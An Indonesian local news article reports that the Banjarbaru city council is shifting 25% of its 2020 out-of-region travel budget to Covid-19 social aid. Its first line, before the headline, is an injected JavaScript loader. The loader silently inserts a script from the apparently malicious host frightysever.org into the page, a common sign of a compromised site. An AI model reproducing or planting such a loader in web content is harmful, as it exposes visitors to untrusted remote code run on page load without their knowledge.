(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

DPRD Banjarbaru Sisihkan 25% Anggaran Perjalanan Dinas untuk Penanganan Covid-19

KANALKALIMANTAN.COM, BANJARBARU– Sebagai upaya penanganan pandemi Covid-19, DPRD Kota Banjarbaru memutuskan untuk mengalihkan anggaran dalam bentuk bantuan sosial. Hal tersebut diungkapkan Ketua DPRD Banjarbaru Fadliansyah didampingi Sekretaris DPRD Banjarbaru Aida Yunani, Rabu (8/4/2020) siang.

“Kita telah sepakat untuk mengalihkan anggaran perjalanan dinas keluar daerah DPRD Banjarbaru, untuk bantuan sosial kepada masyarakat yang saat ini tengah menghadapi pandemi covid-19,” katanya.

Menurut politisi Gerindra tersebut, keputusan realokasi anggaran perjalanan keluar daerah telah disepakati oleh fraksi maupun pimpinan legislatif melalui rapat internal. Dalam hal ini, para wakil rakyat sepakat untuk menyisihkan 25% total anggaran perjalanan dinas 2020 untuk membantu masyarakat terdampak covid-19.

“Jadi anggaran perjalan dinas keluar daerah DPRD Banjarbaru sepanjangan tahun 2020 ini, 25 persennya kita sisihkan untuk bantuan sosial. Untuk nominalnya masih kita lakukan penghitungan,” kata Fadli -sapaan akrabnya.

Adapun dalam penghitungan realokasi anggaran ini, nantinya akan melibatkan Tim Anggaran Pemerintah Daerah (TAPD). Selain itu, juga akan digelar pembahasan ihwal teknis penyaluran bantuan untuk masyarakat yang terdampak covid-19. “Kita masih belum tau, anggaran yang disisihkan ini, bagaimana disalurkannya dan dalam bentuk apa saja. Bisa sembako, uang, atau apapun. Maka dari itu kita akan bahas terlebih dulu dengan TAPD,” jelasnya.

Ditanya terkait apakah ada wacana menyisihkan gaji anggota DPRD Banjarbaru untuk membantu penanganan covid-19, Fadil justru tidak banyak berkomentar. Ia menuturkan bahwa persoalan gaji adalah keputusan dari masing-masing anggota legislatif. (Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Chell